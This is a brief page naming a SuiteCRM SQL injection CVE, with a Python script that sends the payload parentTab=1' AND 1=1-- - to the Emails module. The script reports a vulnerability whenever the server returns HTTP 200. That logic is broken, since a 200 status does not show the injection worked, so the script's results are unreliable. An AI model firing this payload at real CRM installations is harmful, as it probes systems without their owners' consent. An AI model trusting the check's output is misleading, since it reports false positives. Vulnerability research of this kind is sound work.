CVE-2019-25663 SuiteCRM SQL注入漏洞

import requests def check_sqli(url): # Target endpoint for Email module target = f"{url}/index.php?module=Emails&action=index&parentTab=1' AND 1=1-- -" response = requests.get(target) # Check if the response indicates a successful SQL injection if response.status_code == 200: print("[+] Potential SQL Injection vulnerability detected!") else: print("[-] Not vulnerable or connection failed.") if __name__ == "__main__": target_url = "http://localhost/suitecrm" check_sqli(target_url)